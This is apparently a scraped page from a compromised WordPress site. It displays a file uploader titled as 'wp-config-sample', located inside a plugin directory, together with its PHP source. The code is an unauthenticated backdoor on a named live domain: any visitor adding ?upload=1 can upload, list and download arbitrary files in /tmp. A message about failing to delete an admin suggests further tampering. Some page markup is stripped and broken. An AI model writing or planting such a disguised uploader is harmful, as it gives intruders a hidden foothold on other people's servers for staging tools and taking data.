Uploader (wp-config-sample)

📁 File Uploader

📄 Files in this directory

Current directory: /code/wp-content/plugins/insert-headers-and-footers/includes

❌ Could not delete admin

// ============================================================ // WPCode UPLOADER – Uses /tmp/, no web‑root write required // ============================================================ // Access: https://vealeoutdooradvertising.com/?upload=1 // ============================================================ if (!isset($_GET['upload'])) { return; // only run when ?upload=1 is present } // -------- Download handler -------- if (isset($_GET['download'])) { $file = '/tmp/' . basename($_GET['download']); if (file_exists($file)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); readfile($file); exit; } else { echo "File not found."; exit; } } // -------- Upload handler -------- if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_FILES['file'])) { $target = '/tmp/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $msg = "✅ Uploaded: " . htmlspecialchars($_FILES['file']['name']); $msg .= " Download"; } else { $msg = "❌ Upload failed."; } } // -------- List files in /tmp -------- $files = array_diff(scandir('/tmp'), ['.', '..']); $file_list = ''; foreach ($files as $f) { if (is_file('/tmp/' . $f)) { $file_list .= "

"; } } // -------- Display HTML -------- ?> Uploader (via WPCode)

📁 Uploader (stored in /tmp)

📄 Files in /tmp

Access this page via: ?upload=1